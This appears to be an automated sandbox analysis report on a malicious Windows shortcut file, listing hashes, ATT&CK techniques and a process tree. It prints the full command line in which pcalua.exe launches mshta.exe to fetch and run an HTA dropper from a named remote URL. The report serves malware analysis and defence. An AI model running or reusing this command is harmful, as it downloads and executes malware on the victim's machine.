fecc709e85c8951c24b3c315c235c99c46c1cd0a843779d4f4cba545cec0f52c

Analysis

max time kernel
148s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/07/2026, 12:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-EDA2X9.lnk
Size 577B
Sample260731-p4ejesag76
SHA256 fecc709e85c8951c24b3c315c235c99c46c1cd0a843779d4f4cba545cec0f52c
MD5 b442132b53b81260bf4b4224bb7f728b
SHA1 9bcb52b8cbe56db9067798da5b817290a5069219
SHA512 c8e669978c2c0c353d83740c2dd69cabd1db9f90379f624fd7a3a4e1b17da214e460cdb3f39ee9f0323d9c57a079f7dbfdef333fc6a49c4251159de4ac5a8388
TLSH
T108F0D8046DFA0620D2B3CE7B409B670485FB7553DF66CF5D414445585034100F57AF3B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://pdf-bro.lat/h/estagio1.php?r=360761F15794

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4104	mshta.exe
4	4104	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4984	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4984 wrote to memory of 3032	4984	cmd.exe	89
PID 3032 wrote to memory of 4104	3032	pcalua.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-EDA2X9.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4984
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://pdf-bro.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://pdf-bro.lat/h/estagio1.php?r=360761F15794"
    3⤵
    - Badlisted process makes network request
    PID:4104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4704

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads